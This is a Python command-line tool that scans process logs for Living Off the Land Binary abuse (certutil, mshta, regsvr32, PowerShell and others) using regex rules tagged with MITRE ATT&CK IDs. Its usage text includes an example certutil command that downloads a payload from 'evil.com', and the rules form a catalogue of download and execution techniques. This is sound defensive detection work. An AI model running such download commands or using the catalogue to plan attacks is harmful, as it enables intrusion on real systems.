#!/usr/bin/env python3 """ LOLBin Detector - Analyzes process execution logs or command-line arguments for Living Off the Land Binary abuse patterns. Identifies suspicious use of built-in Windows binaries for download, execution, and security bypass purposes. References LOLBAS project patterns. Usage: python3 lolbin_detector.py --input sysmon_export.csv python3 lolbin_detector.py --input process_log.json --format json python3 lolbin_detector.py --command "certutil -urlcache -split -f http://evil.com/payload.exe" python3 lolbin_detector.py --input logs.csv --output report.json """ from __future__ import annotations import argparse import csv import json import logging import os import re import sys from dataclasses import dataclass, field from pathlib import Path from typing import Any, Dict, List, Optional logger = logging.getLogger("lolbin_detector") @dataclass class Detection: """Represents a single LOLBin detection.""" binary: str technique: str risk_level: str # high, medium, low description: str command_line: str mitre_id: str = "" reference: str = "" def to_dict(self) -> dict: return { "binary": self.binary, "technique": self.technique, "risk_level": self.risk_level, "description": self.description, "command_line": self.command_line[:500], "mitre_id": self.mitre_id, "reference": self.reference, } # LOLBin detection rules # Each rule: (binary_regex, cmdline_regex, technique, risk, description, mitre_id, reference) LOLBIN_RULES = [ # === certutil.exe === { "binary": r"certutil(\.exe)?", "pattern": r"-urlcache\s+.*-(?:split\s+)?-?f", "technique": "File Download", "risk": "high", "description": "certutil used to download a file from URL (-urlcache -f)", "mitre": "T1105", "ref": "https://lolbas-project.github.io/#/execute", }, { "binary": r"certutil(\.exe)?", "pattern": r"-decode\b", "technique": "Base64 Decode", "risk": "medium", "description": "certutil used to decode a base64-encoded file", "mitre": "T1140", "ref": "https://lolbas-project.github.io/#/execute", }, { "binary": r"certutil(\.exe)?", "pattern": r"-encode\b", "technique": "Base64 Encode", "risk": "medium", "description": "certutil used to encode a file to base64 (potential data staging)", "mitre": "T1027", "ref": "https://lolbas-project.github.io/#/execute", }, # === mshta.exe === { "binary": r"mshta(\.exe)?", "pattern": r"(?:vbscript|javascript)\s*:", "technique": "Script Execution", "risk": "high", "description": "mshta executing inline VBScript or JavaScript", "mitre": "T1218.005", "ref": "https://lolbas-project.github.io/#/execute", }, { "binary": r"mshta(\.exe)?", "pattern": r"https?://", "technique": "Remote HTA Execution", "risk": "high", "description": "mshta loading a remote HTA file", "mitre": "T1218.005", "ref": "https://lolbas-project.github.io/#/execute", }, # === rundll32.exe === { "binary": r"rundll32(\.exe)?", "pattern": r"javascript:", "technique": "JavaScript Execution", "risk": "high", "description": "rundll32 executing JavaScript via mshtml", "mitre": "T1218.011", "ref": "https://lolbas-project.github.io/#/execute", }, { "binary": r"rundll32(\.exe)?", "pattern": r"shell32\.dll.*#\d+", "technique": "Shell Function Call", "risk": "medium", "description": "rundll32 calling shell32.dll exports by ordinal", "mitre": "T1218.011", "ref": "https://lolbas-project.github.io/#/execute", }, { "binary": r"rundll32(\.exe)?", "pattern": r"(?:http|\\\\|/tmp/|/var/)", "technique": "Remote DLL Load", "risk": "high", "description": "rundll32 loading DLL from remote or unusual path", "mitre": "T1218.011", "ref": "https://lolbas-project.github.io/#/execute", }, # === regsvr32.exe === { "binary": r"regsvr32(\.exe)?", "pattern": r"/s\s+/n\s+/u\s+/i:", "technique": "Squiblydoo", "risk": "high", "description": "regsvr32 Squiblydoo attack - loading remote SCT scriptlet", "mitre": "T1218.010", "ref": "https://lolbas-project.github.io/#/execute", }, { "binary": r"regsvr32(\.exe)?", "pattern": r"https?://", "technique": "Remote Scriptlet", "risk": "high", "description": "regsvr32 loading remote content", "mitre": "T1218.010", "ref": "https://lolbas-project.github.io/#/execute", }, # === wmic.exe === { "binary": r"wmic(\.exe)?", "pattern": r"process\s+call\s+create", "technique": "Process Execution", "risk": "high", "description": "WMIC used to execute a process", "mitre": "T1047", "ref": "https://lolbas-project.github.io/#/execute", }, { "binary": r"wmic(\.exe)?", "pattern": r"/format\s*:\s*https?://", "technique": "XSL Script Processing", "risk": "high", "description": "WMIC loading remote XSL stylesheet for code execution", "mitre": "T1220", "ref": "https://lolbas-project.github.io/#/execute", }, { "binary": r"wmic(\.exe)?", "pattern": r"/node:", "technique": "Remote WMI Execution", "risk": "medium", "description": "WMIC targeting remote system", "mitre": "T1047", "ref": "https://lolbas-project.github.io/#/execute", }, # === msiexec.exe === { "binary": r"msiexec(\.exe)?", "pattern": r"/(?:i|package)\s+https?://", "technique": "Remote MSI Install", "risk": "high", "description": "msiexec installing package from remote URL", "mitre": "T1218.007", "ref": "https://lolbas-project.github.io/#/execute", }, { "binary": r"msiexec(\.exe)?", "pattern": r"/q\b.*https?://", "technique": "Quiet Remote MSI", "risk": "high", "description": "msiexec quietly installing remote package", "mitre": "T1218.007", "ref": "https://lolbas-project.github.io/#/execute", }, # === bitsadmin.exe === { "binary": r"bitsadmin(\.exe)?", "pattern": r"/transfer\b", "technique": "File Download", "risk": "high", "description": "BITSAdmin used to download a file", "mitre": "T1197", "ref": "https://lolbas-project.github.io/#/execute", }, { "binary": r"bitsadmin(\.exe)?", "pattern": r"/(?:SetNotifyCmdLine|AddFile)\b", "technique": "BITS Job Abuse", "risk": "high", "description": "BITSAdmin configured for persistent download or execution", "mitre": "T1197", "ref": "https://lolbas-project.github.io/#/execute", }, # === cmstp.exe === { "binary": r"cmstp(\.exe)?", "pattern": r"/(?:ni|s)\b.*\.inf", "technique": "UAC Bypass / Code Execution", "risk": "high", "description": "cmstp used for UAC bypass via malicious INF file", "mitre": "T1218.003", "ref": "https://lolbas-project.github.io/#/execute", }, # === PowerShell === { "binary": r"powershell(\.exe)?", "pattern": r"-(?:enc(?:odedcommand)?)\s+[A-Za-z0-9+/=]{20,}", "technique": "Encoded Command", "risk": "high", "description": "PowerShell executing a base64-encoded command", "mitre": "T1059.001", "ref": "https://lolbas-project.github.io/#/execute", }, { "binary": r"powershell(\.exe)?", "pattern": r"(?:-(?:nop(?:rofile)?)\s+.*)?-(?:w(?:indowstyle)?\s+h(?:idden)?|ep\s+bypass)", "technique": "Hidden Execution", "risk": "high", "description": "PowerShell running hidden with execution policy bypass", "mitre": "T1059.001", "ref": "https://lolbas-project.github.io/#/execute", }, { "binary": r"powershell(\.exe)?", "pattern": r"(?:IEX|Invoke-Expression|DownloadString|DownloadFile|Net\.WebClient|Invoke-WebRequest|wget|curl|Start-BitsTransfer)", "technique": "Download Cradle", "risk": "high", "description": "PowerShell download cradle detected", "mitre": "T1059.001", "ref": "https://lolbas-project.github.io/#/execute", }, # === cscript/wscript === { "binary": r"(?:cscript|wscript)(\.exe)?", "pattern": r"https?://", "technique": "Remote Script Execution", "risk": "high", "description": "Windows Script Host executing remote script", "mitre": "T1059.005", "ref": "https://lolbas-project.github.io/#/execute", }, { "binary": r"(?:cscript|wscript)(\.exe)?", "pattern": r"//e:\s*(?:vbscript|jscript)", "technique": "Script Engine Override", "risk": "medium", "description": "Windows Script Host with explicit engine specification", "mitre": "T1059.005", "ref": "https://lolbas-project.github.io/#/execute", }, # === cmd.exe === { "binary": r"cmd(\.exe)?", "pattern": r"/c\s+.*(?:powershell|mshta|certutil|bitsadmin|wmic|regsvr32|rundll32)", "technique": "LOLBin Chain", "risk": "high", "description": "cmd.exe launching another LOLBin in chain", "mitre": "T1059.003", "ref": "https://lolbas-project.github.io/#/execute", }, # === msdt.exe (Follina) === { "binary": r"msdt(\.exe)?", "pattern": r"ms-msdt:", "technique": "Follina Exploit", "risk": "high", "description": "msdt.exe invoked via ms-msdt protocol handler (Follina - CVE-2022-30190)", "mitre": "T1218", "ref": "https://lolbas-project.github.io/#/execute", }, # === forfiles.exe === { "binary": r"forfiles(\.exe)?", "pattern": r"/c\s+.*(?:cmd|powershell)", "technique": "Indirect Execution", "risk": "medium", "description": "forfiles used for indirect command execution", "mitre": "T1202", "ref": "https://lolbas-project.github.io/#/execute", }, # === pcalua.exe === { "binary": r"pcalua(\.exe)?", "pattern": r"-a\s+", "technique": "Proxy Execution", "risk": "medium", "description": "Program Compatibility Assistant used to proxy-execute a binary", "mitre": "T1202", "ref": "https://lolbas-project.github.io/#/execute", }, # === msbuild.exe === { "binary": r"msbuild(\.exe)?", "pattern": r"\.(?:xml|csproj|targets)", "technique": "MSBuild Inline Tasks", "risk": "high", "description": "MSBuild executing inline tasks from project file (potential code execution)", "mitre": "T1127.001", "ref": "https://lolbas-project.github.io/#/execute", }, # === installutil.exe === { "binary": r"installutil(\.exe)?", "pattern": r"/(?:logfile|LogToConsole)", "technique": "InstallUtil Bypass", "risk": "high", "description": "InstallUtil used for application whitelisting bypass", "mitre": "T1218.004", "ref": "https://lolbas-project.github.io/#/execute", }, ] class LOLBinDetector: """Detects LOLBin abuse in process execution data.""" def __init__(self): self.detections: List[Detection] = [] def analyze_command(self, command_line: str) -> List[Detection]: """Analyze a single command line for LOLBin abuse.""" results = [] for rule in LOLBIN_RULES: # Check if the binary is present in the command line binary_match = re.search(rule["binary"], command_line, re.IGNORECASE) if not binary_match: continue # Check if the suspicious pattern matches if re.search(rule["pattern"], command_line, re.IGNORECASE): detection = Detection( binary=binary_match.group(0), technique=rule["technique"], risk_level=rule["risk"], description=rule["description"], command_line=command_line.strip(), mitre_id=rule["mitre"], reference=rule["ref"], ) results.append(detection) self.detections.extend(results) return results def analyze_csv(self, filepath: str, cmd_column: str = "CommandLine") -> List[Detection]: """Analyze a CSV file of process execution logs.""" all_detections = [] try: with open(filepath, "r", encoding="utf-8", errors="replace") as f: reader = csv.DictReader(f) if cmd_column not in (reader.fieldnames or []): # Try common column names alt_names = ["CommandLine", "command_line", "cmd", "Command", "Process Command Line", "process_command_line", "Image", "OriginalFileName"] found = False for alt in alt_names: if alt in (reader.fieldnames or []): cmd_column = alt found = True break if not found: logger.error( f"Column '{cmd_column}' not found. " f"Available columns: {reader.fieldnames}" ) return [] for row in reader: cmd = row.get(cmd_column, "") if cmd: detections = self.analyze_command(cmd) all_detections.extend(detections) except OSError as e: logger.error(f"Failed to read CSV file: {e}") return all_detections def analyze_json(self, filepath: str, cmd_field: str = "CommandLine") -> List[Detection]: """Analyze a JSON file of process execution logs.""" all_detections = [] try: with open(filepath, "r", encoding="utf-8", errors="replace") as f: data = json.load(f) if isinstance(data, list): entries = data elif isinstance(data, dict): # Try common wrapper keys for key in ["events", "records", "data", "results", "hits"]: if key in data: entries = data[key] break else: entries = [data] else: logger.error("Unexpected JSON structure") return [] for entry in entries: cmd = "" if isinstance(entry, dict): cmd = entry.get(cmd_field, entry.get("command_line", entry.get("cmd", ""))) elif isinstance(entry, str): cmd = entry if cmd: detections = self.analyze_command(cmd) all_detections.extend(detections) except (OSError, json.JSONDecodeError) as e: logger.error(f"Failed to read JSON file: {e}") return all_detections def get_summary(self) -> dict: """Generate detection summary.""" high = [d for d in self.detections if d.risk_level == "high"] medium = [d for d in self.detections if d.risk_level == "medium"] low = [d for d in self.detections if d.risk_level == "low"] binaries_seen = list(set(d.binary.lower() for d in self.detections)) techniques_seen = list(set(d.technique for d in self.detections)) return { "total_detections": len(self.detections), "high_risk": len(high), "medium_risk": len(medium), "low_risk": len(low), "binaries_detected": binaries_seen, "techniques_detected": techniques_seen, "detections": [d.to_dict() for d in self.detections], } def main() -> None: parser = argparse.ArgumentParser( description="LOLBin abuse detector - analyzes process execution logs for suspicious LOLBin usage", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: %(prog)s --command "certutil -urlcache -split -f http://evil.com/p.exe" %(prog)s --input sysmon_export.csv %(prog)s --input process_log.json --format json --output report.json %(prog)s --input logs.csv --cmd-column "Process Command Line" """, ) input_group = parser.add_mutually_exclusive_group(required=True) input_group.add_argument("--input", "-i", help="Path to process execution log (CSV or JSON)") input_group.add_argument("--command", "-c", help="Single command line to analyze") parser.add_argument("--format", "-f", choices=["csv", "json", "auto"], default="auto", help="Input file format (default: auto-detect)") parser.add_argument("--cmd-column", default="CommandLine", help="Column/field name for command line data (default: CommandLine)") parser.add_argument("--output", "-o", help="Output file for JSON report") parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output") args = parser.parse_args() log_level = logging.DEBUG if args.verbose else logging.INFO logging.basicConfig(level=log_level, format="%(levelname)s: %(message)s") detector = LOLBinDetector() if args.command: detections = detector.analyze_command(args.command) if detections: print(f"\n[!] Found {len(detections)} suspicious LOLBin pattern(s):\n") for d in detections: print(f" Binary: {d.binary}") print(f" Technique: {d.technique}") print(f" Risk: {d.risk_level.upper()}") print(f" Description: {d.description}") print(f" MITRE ATT&CK: {d.mitre_id}") print(f" Command: {d.command_line[:200]}") print() else: print("\n[*] No suspicious LOLBin patterns detected.") elif args.input: input_path = os.path.abspath(args.input) if not os.path.isfile(input_path): logger.error(f"Input file not found: {input_path}") sys.exit(1) # Auto-detect format fmt = args.format if fmt == "auto": if input_path.lower().endswith(".json"): fmt = "json" else: fmt = "csv" logger.info(f"Analyzing {input_path} (format: {fmt})") if fmt == "csv": detector.analyze_csv(input_path, args.cmd_column) else: detector.analyze_json(input_path, args.cmd_column) # Output results summary = detector.get_summary() if args.input: print(f"\n{'=' * 60}") print(f"LOLBin Detection Summary") print(f"{'=' * 60}") print(f"Total detections: {summary['total_detections']}") print(f" High risk: {summary['high_risk']}") print(f" Medium risk: {summary['medium_risk']}") print(f" Low risk: {summary['low_risk']}") if summary['binaries_detected']: print(f"Binaries detected: {', '.join(summary['binaries_detected'])}") if summary['techniques_detected']: print(f"Techniques: {', '.join(summary['techniques_detected'])}") print(f"{'=' * 60}\n") if summary['total_detections'] > 0: for d in detector.detections: risk_marker = {"high": "[!!!]", "medium": "[!!]", "low": "[!]"} print(f" {risk_marker.get(d.risk_level, '[?]')} {d.binary} - {d.technique}") print(f" {d.description}") print(f" CMD: {d.command_line[:150]}") print() if args.output: output_path = os.path.abspath(args.output) try: with open(output_path, "w", encoding="utf-8") as f: json.dump(summary, f, indent=2) logger.info(f"Report written to: {output_path}") except OSError as e: logger.error(f"Failed to write report: {e}") sys.exit(1) if __name__ == "__main__": main()